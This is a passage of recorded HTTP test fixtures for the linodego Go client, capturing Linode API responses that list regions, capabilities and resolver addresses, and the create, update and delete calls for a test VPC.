1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728784141740000","region":"us-iad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74462, "label": "go-test-vpc-1720728784141740000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"updated-label","description":"updated description"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74462 method: PUT response: body: '{"id": 74462, "label": "updated-label", "description": "updated description", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "180" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74462 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Update_Invalid.yaml000066400000000000000000000624261474652371000317220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, 